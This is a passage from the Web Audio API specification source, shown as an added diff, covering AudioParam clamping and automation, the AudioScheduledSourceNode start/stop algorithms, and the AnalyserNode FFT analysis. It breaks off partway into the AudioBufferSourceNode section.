+	1. <var>paramIntrinsicValue</var> will be calculated at
+		each time, which is either the value set directly to
+		the {{AudioParam/value}} attribute, or, if there are
+		any <a href="#dfn-automation-event">automation
+		events</a> with times before or at this time, the
+		value as calculated from these events.  If automation
+		events are removed from a given time range, then the
+		<var>paramIntrinsicValue</var> value will remain
+		unchanged and stay at its previous value until either
+		the {{AudioParam/value}} attribute is directly set, or
+		automation events are added for the time range.
+
+	1. Set {{[[current value]]}} to the value of
+		<var>paramIntrinsicValue</var> at the beginning of
+		this <a>render quantum</a>.
+
+	2. <var>paramComputedValue</var> is the sum of the <var>paramIntrinsicValue</var>
+		value and the value of the <a href="#input-audioparam-buffer">input
+		AudioParam buffer</a>.  If the sum is <code>NaN</code>, replace the sum with the {{AudioParam/defaultValue}}.
+
+	3. If this {{AudioParam}} is a <a>compound parameter</a>,
+		compute its final value with other {{AudioParam}}s.
+
+	4. Set <a>computedValue</a> to <var>paramComputedValue</var>.
+</div>
+
+The <dfn>nominal range</dfn> for a <a>computedValue</a> are the
+lower and higher values this parameter can effectively have. For
+<a>simple parameters</a>, the <a>computedValue</a> is clamped to
+the <a>simple nominal range</a> for this parameter. <a>Compound
+parameters</a> have their final value clamped to their <a>nominal
+range</a> after having been computed from the different
+{{AudioParam}} values they are composed of.
+
+When automation methods are used, clamping is still applied.
+However, the automation is run as if there were no clamping at all.
+Only when the automation values are to be applied to the output is
+the clamping done as specified above.
+
+<div class=example>
+	For example, consider a node \(N\) has an AudioParam \(p\) with a
+	nominal range of \([0, 1]\), and following automation sequence
+
+	<pre highlight="js">
+		N.p.setValueAtTime(0, 0);
+		N.p.linearRampToValueAtTime(4, 1);
+		N.p.linearRampToValueAtTime(0, 2);
+	</pre>
+
+	The initial slope of the curve is 4, until it reaches the maximum
+	value of 1, at which time, the output is held constant. Finally,
+	near time 2, the slope of the curve is -4. This is illustrated in
+	the graph below where the dashed line indicates what would have
+	happened without clipping, and the solid line indicates the actual
+	expected behavior of the audioparam due to clipping to the nominal
+	range.
+
+	<figure>
+		<!-- The image here was created from
+http://googlechrome.github.io/web-audio-samples/samples/audio/timeline-limits.html -->
+		<img alt="AudioParam automation clipping to nominal" src="images/audioparam-automation-clipping.png">
+		<figcaption>
+			An example of clipping of an AudioParam automation from the
+			nominal range.
+		</figcaption>
+	</figure>
+</div>
+
+<h4 id="example1-AudioParam">
+{{AudioParam}} Automation Example</h4>
+
+<figure>
+	<!-- The image here was created from
+http://googlechrome.github.io/web-audio-samples/samples/audio/timeline.html -->
+	<img alt="AudioParam automation" src="images/audioparam-automation1.png" width="917" height="541">
+	<figcaption>
+		An example of parameter automation.
+	</figcaption>
+</figure>
+<pre class="example" highlight="js" line-numbers>
+	const curveLength = 44100;
+	const curve = new Float32Array(curveLength);
+	for (const i = 0; i &lt; curveLength; ++i)
+		curve[i] = Math.sin(Math.PI * i / curveLength);
+
+	const t0 = 0;
+	const t1 = 0.1;
+	const t2 = 0.2;
+	const t3 = 0.3;
+	const t4 = 0.325;
+	const t5 = 0.5;
+	const t6 = 0.6;
+	const t7 = 0.7;
+	const t8 = 1.0;
+	const timeConstant = 0.1;
+
+	param.setValueAtTime(0.2, t0);
+	param.setValueAtTime(0.3, t1);
+	param.setValueAtTime(0.4, t2);
+	param.linearRampToValueAtTime(1, t3);
+	param.linearRampToValueAtTime(0.8, t4);
+	param.setTargetAtTime(.5, t4, timeConstant);
+	// Compute where the setTargetAtTime will be at time t5 so we can make
+	// the following exponential start at the right point so there's no
+	// jump discontinuity. From the spec, we have
+	// v(t) = 0.5 + (0.8 - 0.5)*exp(-(t-t4)/timeConstant)
+	// Thus v(t5) = 0.5 + (0.8 - 0.5)*exp(-(t5-t4)/timeConstant)
+	param.setValueAtTime(0.5 + (0.8 - 0.5)*Math.exp(-(t5 - t4)/timeConstant), t5);
+	param.exponentialRampToValueAtTime(0.75, t6);
+	param.exponentialRampToValueAtTime(0.05, t7);
+	param.setValueCurveAtTime(curve, t7, t8 - t7);
+</pre>
+
+
+<!--
+   ███     ██████   ██████  ██    ██  ███████  ████████  ████████
+  ██ ██   ██    ██ ██    ██ ███   ██ ██     ██ ██     ██ ██
+ ██   ██  ██       ██       ████  ██ ██     ██ ██     ██ ██
+██     ██  ██████   ██████  ██ ██ ██ ██     ██ ██     ██ ██████
+█████████       ██       ██ ██  ████ ██     ██ ██     ██ ██
+██     ██ ██    ██ ██    ██ ██   ███ ██     ██ ██     ██ ██
+██     ██  ██████   ██████  ██    ██  ███████  ████████  ████████
+-->
+
+<h3 interface lt="audioscheduledsourcenode" id="AudioScheduledSourceNode">
+The {{AudioScheduledSourceNode}} Interface</h3>
+
+The interface represents the common features of source nodes such
+as {{AudioBufferSourceNode}}, {{ConstantSourceNode}}, and
+{{OscillatorNode}}.
+
+Before a source is started (by calling {{AudioScheduledSourceNode/start()}}, the source node
+MUST output silence (0). After a source has been stopped (by calling
+{{AudioScheduledSourceNode/stop()}}),
+the source MUST then output silence (0).
+
+{{AudioScheduledSourceNode}} cannot be instantiated directly, but
+is instead extended by the concrete interfaces for the source nodes.
+
+An {{AudioScheduledSourceNode}} is said to be <dfn>playing</dfn> when
+its associated {{BaseAudioContext}}'s {{BaseAudioContext|currentTime}} is
+greater or equal to the time the {{AudioScheduledSourceNode}} is set to start,
+and less than the time it's set to stop.
+
+{{AudioScheduledSourceNode}}s are created with an internal boolean
+slot <dfn attribute for="AudioScheduledSourceNode">[[source started]]</dfn>, initially
+set to false.
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioScheduledSourceNode : AudioNode {
+	attribute EventHandler onended;
+	undefined start(optional double when = 0);
+	undefined stop(optional double when = 0);
+};
+</pre>
+
+<h4 id="AudioScheduledSourceNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioScheduledSourceNode">
+	: <dfn>onended</dfn>
+	::
+		A property used to set the <code>EventHandler</code> (described
+		in <cite><a href="https://html.spec.whatwg.org/multipage/webappapis.html#eventhandler">
+		HTML</a></cite>[[!HTML]]) for the ended event that is
+		dispatched for {{AudioScheduledSourceNode}} node
+		types. When the source node has stopped playing (as determined
+		by the concrete node), an event of type {{Event}}
+		(described in <cite><a href="https://html.spec.whatwg.org/multipage/infrastructure.html#event">
+		HTML</a></cite> [[!HTML]]) will be dispatched to the event
+		handler.
+
+		For all {{AudioScheduledSourceNode}}s, the
+		<code>onended</code> event is dispatched when the stop time
+		determined by {{AudioScheduledSourceNode/stop()}} is reached.
+		For an {{AudioBufferSourceNode}}, the event is
+		also dispatched because the {{AudioBufferSourceNode/start(when, offset, duration)/duration}} has been
+		reached or if the entire {{AudioBufferSourceNode/buffer}} has been
+		played.
+</dl>
+
+<h4 id="AudioScheduledSourceNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AudioScheduledSourceNode">
+	: <dfn>start(when)</dfn>
+	::
+		Schedules a sound to playback at an exact time.
+
+		<div algorithm="AudioScheduledSourceNode.start()">
+			<span class="synchronous">When this method is called, execute
+			these steps:</span>
+
+			1. <span class="synchronous">If this {{AudioScheduledSourceNode}} internal
+				slot {{AudioScheduledSourceNode/[[source started]]}} is true, an
+				{{InvalidStateError}} exception MUST be thrown.</span>
+
+			2. Check for any errors that must be thrown due to parameter
+				constraints described below. If any exception is thrown during this
+				step, abort those steps.
+
+			3. Set the internal slot {{AudioScheduledSourceNode/[[source started]]}} on
+				this {{AudioScheduledSourceNode}} to <code>true</code>.
+
+			4. <a>Queue a control message</a> to start the
+				{{AudioScheduledSourceNode}}, including the parameter
+				values in the message.
+
+			5. Send a <a>control message</a> to the associated {{AudioContext}} to
+				<a href="#context-resume">start running its rendering thread</a> only when
+				all the following conditions are met:
+				1. The context's {{[[control thread state]]}} is
+					"{{AudioContextState/suspended}}".
+				1. The context is <a>allowed to start</a>.
+				1. {{[[suspended by user]]}} flag is <code>false</code>.
+
+				NOTE: This allows
+				{{AudioBufferSourceNode/start()}} to
+				start an {{AudioContext}} that would
+				otherwise not be <a>allowed to
+				start</a>.
+		</div>
+
+		<pre class=argumentdef for="AudioScheduledSourceNode/start(when)">
+			when: The {{AudioScheduledSourceNode/start(when)/when}} parameter describes at what time (in seconds) the sound should start playing. It is in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. When the signal emitted by the {{AudioScheduledSourceNode}} depends on the sound's start time, the exact value of <code>when</code> is always used without rounding to the nearest sample frame. If 0 is passed in for this value or if the value is less than {{BaseAudioContext/currentTime}}, then the sound will start playing immediately. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>when</code> is negative.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>stop(when)</dfn>
+	::
+		Schedules a sound to stop playback at an exact time. If
+		<code>stop</code> is called again after already having been
+		called, the last invocation will be the only one applied; stop
+		times set by previous calls will not be applied, unless the
+		buffer has already stopped prior to any subsequent calls. If
+		the buffer has already stopped, further calls to
+		<code>stop</code> will have no effect. If a stop time is
+		reached prior to the scheduled start time, the sound will not
+		play.
+
+		<div algorithm="AudioScheduledSourceNode.stop()">
+			<span class="synchronous">When this method is called, execute these steps:</span>
+
+			1. <span class="synchronous">If this {{AudioScheduledSourceNode}} internal
+				slot {{AudioScheduledSourceNode/[[source started]]}} is not <code>true</code>,
+				an {{InvalidStateError}} exception MUST be thrown.</span>
+
+			2. Check for any errors that must be thrown due to parameter
+				constraints described below.
+
+			3. <a>Queue a control message</a> to stop the
+				{{AudioScheduledSourceNode}}, including the parameter
+				values in the message.
+		</div>
+
+		<div algorithm="run a control message to stop the AudioBufferSourceNode">
+			If the node is an {{AudioBufferSourceNode}},
+			running a <a>control message</a> to stop the
+			{{AudioBufferSourceNode}} means invoking the
+			<code>handleStop()</code> function in the <a href="#playback-AudioBufferSourceNode">playback algorithm</a>.
+		</div>
+
+		<pre class=argumentdef for="AudioScheduledSourceNode/stop(when)">
+			when: The {{AudioScheduledSourceNode/stop(when)/when}} parameter describes at what time (in seconds) the source should stop playing. It is in the same time coordinate system as the {{AudioContext}}'s {{BaseAudioContext/currentTime}} attribute. If 0 is passed in for this value or if the value is less than {{BaseAudioContext/currentTime}}, then the sound will stop playing immediately. <span class="synchronous">A {{RangeError}} exception MUST be thrown if <code>when</code> is negative</span>.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+
+<!--
+   ███    ██    ██    ███    ██       ██    ██  ██████  ████████ ████████  ██    ██  ███████  ████████  ████████
+  ██ ██   ███   ██   ██ ██   ██        ██  ██  ██    ██ ██       ██     ██ ███   ██ ██     ██ ██     ██ ██
+ ██   ██  ████  ██  ██   ██  ██         ████   ██       ██       ██     ██ ████  ██ ██     ██ ██     ██ ██
+██     ██ ██ ██ ██ ██     ██ ██          ██     ██████  ██████   ████████  ██ ██ ██ ██     ██ ██     ██ ██████
+█████████ ██  ████ █████████ ██          ██          ██ ██       ██   ██   ██  ████ ██     ██ ██     ██ ██
+██     ██ ██   ███ ██     ██ ██          ██    ██    ██ ██       ██    ██  ██   ███ ██     ██ ██     ██ ██
+██     ██ ██    ██ ██     ██ ████████    ██     ██████  ████████ ██     ██ ██    ██  ███████  ████████  ████████
+-->
+
+<h3 interface lt="analysernode" id="AnalyserNode">
+The {{AnalyserNode}} Interface</h3>
+
+This interface represents a node which is able to provide real-time
+frequency and time-domain analysis information. The audio stream will
+be passed un-processed from input to output.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	noo-notes: This output may be left unconnected.
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+<pre class="idl">
+[Exposed=Window]
+interface AnalyserNode : AudioNode {
+	constructor (BaseAudioContext context, optional AnalyserOptions options = {});
+	undefined getFloatFrequencyData (Float32Array array);
+	undefined getByteFrequencyData (Uint8Array array);
+	undefined getFloatTimeDomainData (Float32Array array);
+	undefined getByteTimeDomainData (Uint8Array array);
+	attribute unsigned long fftSize;
+	readonly attribute unsigned long frequencyBinCount;
+	attribute double minDecibels;
+	attribute double maxDecibels;
+	attribute double smoothingTimeConstant;
+};
+</pre>
+
+<h4 id="AnalyserNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="AnalyserNode">
+	: <dfn>AnalyserNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="AnalyserNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{AnalyserNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{AnalyserNode}}.
+		</pre>
+</dl>
+
+<h4 id="AnalyserNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AnalyserNode">
+	: <dfn>fftSize</dfn>
+	::
+		The size of the FFT used for frequency-domain analysis (in sample-frames).
+		<span class="synchronous">This MUST be a power of two in the
+		range 32 to 32768, otherwise an {{IndexSizeError}}
+		exception MUST be thrown</span>. The default value is 2048.
+		Note that large FFT sizes can be costly to compute.
+
+		If the {{AnalyserNode/fftSize}} is changed to a different value,
+		then all state associated with smoothing of the frequency data
+		(for {{AnalyserNode/getByteFrequencyData()}} and
+		{{AnalyserNode/getFloatFrequencyData()}}) is
+		reset. That is the <a>previous block</a>, \(\hat{X}_{-1}[k]\),
+		used for <a href="#smoothing-over-time">smoothing over time</a>
+		is set to 0 for all \(k\).
+
+		Note that increasing {{AnalyserNode/fftSize}} does mean that the
+		<a>current time-domain data</a> must be expanded to include past
+		frames that it previously did not. This means that the
+		{{AnalyserNode}} effectively MUST keep around the last
+		32768 sample-frames and the <a>current time-domain
+		data</a> is the most recent
+		{{AnalyserNode/fftSize}} sample-frames out of that.
+
+	: <dfn>frequencyBinCount</dfn>
+	::
+		Half the FFT size.
+
+	: <dfn>maxDecibels</dfn>
+	::
+		{{AnalyserNode/maxDecibels}} is the maximum power value in the scaling
+		range for the FFT analysis data for conversion to unsigned byte
+		values. The default value is -30. <span class="synchronous">If
+		the value of this attribute is set to a value less than or equal
+		to {{AnalyserNode/minDecibels}}, an
+		{{IndexSizeError}} exception MUST be thrown.</span>
+
+	: <dfn>minDecibels</dfn>
+	::
+		{{AnalyserNode/minDecibels}} is the minimum power value in the scaling
+		range for the FFT analysis data for conversion to unsigned byte
+		values. The default value is -100. <span class="synchronous">If
+		the value of this attribute is set to a value more than or equal
+		to {{AnalyserNode/maxDecibels}}, an
+		{{IndexSizeError}} exception MUST be thrown.</span>
+
+	: <dfn>smoothingTimeConstant</dfn>
+	::
+		A value from 0 -> 1 where 0 represents no time averaging with
+		the last analysis frame. The default value is 0.8. <span class="synchronous">If the value of this attribute is set to a value
+		less than 0 or more than 1, an {{IndexSizeError}}
+		exception MUST be thrown.</span>
+</dl>
+
+<h4 id="AnalyserNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AnalyserNode">
+	: <dfn>getByteFrequencyData(array)</dfn>
+	::
+		<div class="correction proposed" id="c2361-6">
+		  <span class="marker">Proposed Correction
+		  <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-6.
+		  </span>
+		  Use new Web IDL buffer primitives
+		  <div class="amendment-buttons">
+		    Buttons here
+		  </div>
+		<del>Get a
+		<a href="https://heycam.github.io/webidl/#dfn-get-buffer-source-reference">
+		reference to the bytes</a> held by the {{Uint8Array}}
+		passed as an argument.  Copies the <a>current frequency data</a> to those
+		bytes. If the array has fewer elements than the {{frequencyBinCount}}, the
+		excess elements will be dropped. If the array has more elements than the
+		{{frequencyBinCount}}</del><ins>
+		[=ArrayBufferView/Write=] the [=current frequency data=] into |array|. If
+		|array|'s [=BufferSource/byte length=] is less than {{frequencyBinCount}},
+		the excess elements will be dropped. If |array|'s
+		[=BufferSource/byte length=] is greater than the {{frequencyBinCount}}</ins>, the
+		excess elements will be ignored. The most recent {{AnalyserNode/fftSize}}
+		frames are used in computing the frequency data.
+		</div>
+
+		If another call to {{AnalyserNode/getByteFrequencyData()}} or
+		{{AnalyserNode/getFloatFrequencyData()}} occurs within the same
+		<a>render quantum</a> as a previous call, the <a>current
+		frequency data</a> is not updated with the same data. Instead,
+		the previously computed data is returned.
+
+		The values stored in the unsigned byte array are computed in
+		the following way. Let \(Y[k]\) be the <a>current frequency
+		data</a> as described in <a href="#fft-windowing-and-smoothing-over-time">FFT windowing and
+		smoothing</a>. Then the byte value, \(b[k]\), is
+
+		<pre nohighlight>
+		$$
+			b[k] = \left\lfloor
+					\frac{255}{\mbox{dB}_{max} - \mbox{dB}_{min}}
+					\left(Y[k] - \mbox{dB}_{min}\right)
+				\right\rfloor
+		$$
+		</pre>
+
+		where \(\mbox{dB}_{min}\) is {{AnalyserNode/minDecibels}}
+		and \(\mbox{dB}_{max}\) is <code>{{AnalyserNode/maxDecibels}}</code>. If
+		\(b[k]\) lies outside the range of 0 to 255, \(b[k]\) is
+		clipped to lie in that range.
+
+		<pre class=argumentdef for="AnalyserNode/getByteFrequencyData()">
+			array: This parameter is where the frequency-domain analysis data will be copied.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>getByteTimeDomainData(array)</dfn>
+	::
+		<div class="correction proposed" id="c2361-7">
+		  <span class="marker">Proposed Correction
+		  <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-7.
+		  </span>
+		  Use new Web IDL buffer primitives
+		  <div class="amendment-buttons">
+		    Buttons here
+		  </div>
+		<del>Get a
+		<a href="https://heycam.github.io/webidl/#dfn-get-buffer-source-reference">
+		reference to the bytes</a> held by the {{Uint8Array}}
+		passed as an argument.  Copies the <a>current time-domain data</a>
+		(waveform data) into those bytes. If the array has fewer elements than the
+		value of {{AnalyserNode/fftSize}}, the excess elements will be dropped. If
+		the array has more elements than {{AnalyserNode/fftSize}},</del><ins>[=ArrayBufferView/Write=] the [=current time-domain data=] (waveform data)
+		into |array|. If |array|'s [=BufferSource/byte length=] is less than
+		{{AnalyserNode/fftSize}}, the excess elements will be dropped. If |array|'s
+		[=BufferSource/byte length=] is greater than the {{AnalyserNode/fftSize}},</ins>
+		the excess elements will be ignored. The most recent
+		{{AnalyserNode/fftSize}} frames are used in computing the byte data.
+		</div>
+
+		The values stored in the unsigned byte array are computed in
+		the following way. Let \(x[k]\) be the time-domain data. Then
+		the byte value, \(b[k]\), is
+
+		<pre nohighlight>
+		$$
+			b[k] = \left\lfloor 128(1 + x[k]) \right\rfloor.
+		$$
+		</pre>
+
+		If \(b[k]\) lies outside the range 0 to 255, \(b[k]\) is
+		clipped to lie in that range.
+
+		<pre class=argumentdef for="AnalyserNode/getByteTimeDomainData()">
+			array: This parameter is where the time-domain sample data will be copied.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>getFloatFrequencyData(array)</dfn>
+	::
+		<div class="correction proposed" id="c2361-8">
+		  <span class="marker">Proposed Correction
+		  <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-8.
+		  </span>
+		  Use new Web IDL buffer primitives
+		  <div class="amendment-buttons">
+		    Buttons here
+		  </div>
+		<del>Get a
+		<a href="https://heycam.github.io/webidl/#dfn-get-buffer-source-reference">
+		reference to the bytes</a> held by the
+		{{Float32Array}} passed as an argument.  Copies
+		the <a>current frequency data</a> into those bytes.  If the array has
+		fewer elements than the {{frequencyBinCount}},</del><ins>[=ArrayBufferView/Write=] the [=current frequency data=] into |array|. If
+		|array| has fewer elements than the {{frequencyBinCount}}, the excess
+		elements will be dropped. If |array| has more elements than the
+		{{frequencyBinCount}},</ins> the excess elements will be ignored. The most recent
+		{{AnalyserNode/fftSize}} frames are used in computing the frequency data.
+		</div>
+
+		If another call to {{AnalyserNode/getFloatFrequencyData()}} or
+		{{AnalyserNode/getByteFrequencyData()}} occurs within the same
+		<a>render quantum</a> as a previous call, the <a>current
+		frequency data</a> is not updated with the same data. Instead,
+		the previously computed data is returned.
+
+		The frequency data are in dB units.
+
+		<pre class=argumentdef for="AnalyserNode/getFloatFrequencyData()">
+			array: This parameter is where the frequency-domain analysis data will be copied.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>getFloatTimeDomainData(array)</dfn>
+	::
+		<div class="correction proposed" id="c2361-9">
+		  <span class="marker">Proposed Correction
+		  <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-9.
+		  </span>
+		  Use new Web IDL buffer primitives
+		  <div class="amendment-buttons">
+		    Buttons here
+		  </div>
+		<del>Get a
+		<a href="https://heycam.github.io/webidl/#dfn-get-buffer-source-reference">
+		reference to the bytes</a> held by the
+		{{Float32Array}} passed as an argument.  Copies the
+		<a>current time-domain data</a> (waveform data) into those bytes. If the
+		array has fewer elements than the value of {{AnalyserNode/fftSize}}, the
+		excess elements will be dropped. If the array has more elements than
+		{{AnalyserNode/fftSize}},</del><ins>[=ArrayBufferView/Write=] the [=current time-domain data=] (waveform data)
+		into |array|. If |array| has fewer elements than the value of
+		{{AnalyserNode/fftSize}}, the excess elements will be dropped. If |array|
+		has more elements than the value of {{AnalyserNode/fftSize}},</ins> the excess
+		elements will be ignored. The most recent {{AnalyserNode/fftSize}} frames
+		are written (after downmixing).
+		</div>
+
+		<pre class=argumentdef for="AnalyserNode/getFloatTimeDomainData()">
+			array: This parameter is where the time-domain sample data will be copied.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+<h4 dictionary lt="analyseroptions" id="AnalyserOptions">
+{{AnalyserOptions}}</h4>
+
+This specifies the options to be used when constructing an
+{{AnalyserNode}}. All members are optional; if not
+specified, the normal default values are used to construct the
+node.
+
+<pre class="idl">
+dictionary AnalyserOptions : AudioNodeOptions {
+	unsigned long fftSize = 2048;
+	double maxDecibels = -30;
+	double minDecibels = -100;
+	double smoothingTimeConstant = 0.8;
+};
+</pre>
+
+<h5 id="dictionary-analyseroptions-members">
+Dictionary {{AnalyserOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="AnalyserOptions">
+	: <dfn>fftSize</dfn>
+	:: The desired initial size of the FFT for frequency-domain analysis.
+
+	: <dfn>maxDecibels</dfn>
+	:: The desired initial maximum power in dB for FFT analysis.
+
+	: <dfn>minDecibels</dfn>
+	:: The desired initial minimum power in dB for FFT analysis.
+
+	: <dfn>smoothingTimeConstant</dfn>
+	:: The desired initial smoothing constant for the FFT analysis.
+</dl>
+
+<h4 id="time-domain-down-mixing">
+Time-Domain Down-Mixing</h4>
+
+	When the <dfn>current time-domain data</dfn> are computed, the
+	input signal must be <a href="#channel-up-mixing-and-down-mixing">down-mixed</a> to mono as if
+	{{AudioNode/channelCount}} is 1,
+	{{AudioNode/channelCountMode}} is
+	"{{ChannelCountMode/max}}" and {{AudioNode/channelInterpretation}} is "{{ChannelInterpretation/speakers}}". This is independent of the
+	settings for the {{AnalyserNode}} itself. The most recent
+	{{AnalyserNode/fftSize}} frames are used for the
+	down-mixing operation.
+
+<h4 id="fft-windowing-and-smoothing-over-time">
+FFT Windowing and Smoothing over Time</h4>
+
+When the <dfn id="current-frequency-data">current frequency
+data</dfn> are computed, the following operations are to be
+performed:
+
+<div algorithm="compute-frequency-data">
+	1. Compute the <a>current time-domain data</a>.
+
+	2. <a href="#blackman-window">Apply a Blackman window</a> to the time domain input data.
+
+	3. <a href="#fourier-transform">Apply a Fourier transform</a> to the
+		windowed time domain input data to get real and imaginary
+		frequency data.
+
+	4. <a href="#smoothing-over-time">Smooth over time</a> the frequency domain data.
+
+	5. <a href="#conversion-to-db">Convert to dB</a>.
+</div>
+
+In the following, let \(N\) be the value of the
+{{AnalyserNode/fftSize}} attribute of this {{AnalyserNode}}.
+
+<div algorithm="apply blackman window">
+	<dfn id="blackman-window">Applying a Blackman window</dfn> consists
+	in the following operation on the input time domain data. Let
+	\(x[n]\) for \(n = 0, \ldots, N - 1\) be the time domain data. The
+	Blackman window is defined by
+
+	<pre nohighlight>
+	$$
+	\begin{align*}
+		\alpha &amp;= \mbox{0.16} \\ a_0 &amp;= \frac{1-\alpha}{2} \\
+		a_1 &amp;= \frac{1}{2} \\
+		a_2 &amp;= \frac{\alpha}{2} \\
+		w[n] &amp;= a_0 - a_1 \cos\frac{2\pi n}{N} + a_2 \cos\frac{4\pi n}{N}, \mbox{ for } n = 0, \ldots, N - 1
+	\end{align*}
+	$$
+	</pre>
+
+	The windowed signal \(\hat{x}[n]\) is
+
+	<pre nohighlight>
+	$$
+		\hat{x}[n] = x[n] w[n], \mbox{ for } n = 0, \ldots, N - 1
+	$$
+	</pre>
+</div>
+
+<div algorithm="apply fourier transform">
+	<dfn id="fourier-transform">Applying a Fourier transform</dfn>
+	consists of computing the Fourier transform in the following way.
+	Let \(X[k]\) be the complex frequency domain data and
+	\(\hat{x}[n]\) be the windowed time domain data computed above.
+	Then
+
+	<pre nohighlight>
+	$$
+		X[k] = \frac{1}{N} \sum_{n = 0}^{N - 1} \hat{x}[n]\, W^{-kn}_{N}
+	$$
+	</pre>
+
+	for \(k = 0, \dots, N/2-1\) where \(W_N = e^{2\pi i/N}\).
+</div>
+
+<div algorithm="smoothing over time">
+	<dfn id="smoothing-over-time">Smoothing over time</dfn> frequency
+	data consists in the following operation:
+
+	* Let \(\hat{X}_{-1}[k]\) be the result of this operation on the
+		<a>previous block</a>. The <dfn>previous block</dfn> is defined as
+		being the buffer computed by the previous <a href="#smoothing-over-time">smoothing over time</a> operation, or an
+		array of \(N\) zeros if this is the first time we are <a href="#smoothing-over-time">smoothing over time</a>.
+
+	* Let \(\tau\) be the value of the {{AnalyserNode/smoothingTimeConstant}} attribute for
+		this {{AnalyserNode}}.
+
+	* Let \(X[k]\) be the result of <a href="#fourier-transform">applying a Fourier transform</a> of the current block.
+
+	Then the smoothed value, \(\hat{X}[k]\), is computed by
+
+	<pre nohighlight>
+	$$
+		\hat{X}[k] = \tau\, \hat{X}_{-1}[k] + (1 - \tau)\, \left|X[k]\right|
+	$$
+	</pre>
+
+	for \(k = 0, \ldots, N - 1\).
+</div>
+
+<div algorithm="conversion to db">
+	<dfn id="conversion-to-db">Conversion to dB</dfn> consists of the
+	following operation, where \(\hat{X}[k]\) is computed in <a>smoothing over time</a>:
+
+	<pre nohighlight>
+	$$
+		Y[k] = 20\log_{10}\hat{X}[k]
+	$$
+	</pre>
+
+	for \(k = 0, \ldots, N-1\).
+
+	This array, \(Y[k]\), is copied to the output array for
+	{{AnalyserNode/getFloatFrequencyData()}}. For
+	{{AnalyserNode/getByteFrequencyData()}}, the \(Y[k]\) is clipped to lie
+	between {{AnalyserNode/minDecibels}} and
+	<code>{{AnalyserNode/maxDecibels}}</code> and then scaled to fit in an
+	unsigned byte such that {{AnalyserNode/minDecibels}} is
+	represented by the value 0 and <code>{{AnalyserNode/maxDecibels}}</code> is
+	represented by the value 255.
+</div>
+
+
+<!--
+   ███    ████████   ██████   ███████  ██     ██ ████████   ██████  ████████ ██    ██  ███████  ████████  ████████
+  ██ ██   ██     ██ ██    ██ ██     ██ ██     ██ ██     ██ ██    ██ ██       ███   ██ ██     ██ ██     ██ ██
+ ██   ██  ██     ██ ██       ██     ██ ██     ██ ██     ██ ██       ██       ████  ██ ██     ██ ██     ██ ██
+██     ██ ████████   ██████  ██     ██ ██     ██ ████████  ██       ██████   ██ ██ ██ ██     ██ ██     ██ ██████
+█████████ ██     ██       ██ ██     ██ ██     ██ ██   ██   ██       ██       ██  ████ ██     ██ ██     ██ ██
+██     ██ ██     ██ ██    ██ ██     ██ ██     ██ ██    ██  ██    ██ ██       ██   ███ ██     ██ ██     ██ ██
+██     ██ ████████   ██████   ███████   ███████  ██     ██  ██████  ████████ ██    ██  ███████  ████████  ████████
+-->
+
+<h3 interface lt="audiobuffersourcenode" id="AudioBufferSourceNode">
+The {{AudioBufferSourceNode}} Interface</h3>
+
+This interface represents an audio source from an in-memory audio
+asset in an {{AudioBuffer}}. It is useful for playing audio
+assets which require a high degree of scheduling flexibility and
+accuracy. If sample-accurate playback of network- or disk-backed
+assets is required, an implementer should use
+{{AudioWorkletNode}} to implement playback.
+
+The {{AudioScheduledSourceNode/start()}} method is used to
+schedule when sound playback will happen. The {{AudioScheduledSourceNode/start()}} method may not be
+issued multiple times. The playback will stop automatically when the
+buffer's audio data has been completely played (if the
+{{AudioBufferSourceNode/loop}}
+attribute is <code>false</code>), or when the {{AudioScheduledSourceNode/stop()}} method has been
+called and the specified time has been reached. Please see more
+details in the {{AudioScheduledSourceNode/start()}} and
+{{AudioScheduledSourceNode/stop()}}
+descriptions.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 0
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+The number of channels of the output equals the number of channels of the
+AudioBuffer assigned to the {{AudioBufferSourceNode/buffer}} attribute,
+or is one channel of silence if {{AudioBufferSourceNode/buffer}} is
+<code>null</code>.
+
+In addition, if the buffer has more than one channel,
+then the {{AudioBufferSourceNode}} output must change to a single channel
+of silence at the beginning of a render quantum after the time at which any one
+of the following conditions holds:
+	* the end of the {{AudioBufferSourceNode/buffer}} has been reached;
+	* the {{AudioBufferSourceNode/start(when, offset, duration)/duration}} has been reached;
+	* the {{AudioScheduledSourceNode/stop(when)/when|stop}} time has been reached.
+
+A <dfn>playhead position</dfn> for an {{AudioBufferSourceNode}} is
+defined as any quantity representing a time offset in seconds,
+relative to the time coordinate of the first sample frame in the
+buffer. Such values are to be considered independently from the
+node's <code>playbackRate</code> and {{AudioBufferSourceNode/detune}} parameters.
+In general, playhead positions may be subsample-accurate and need not
+refer to exact sample frame positions. They may assume valid values
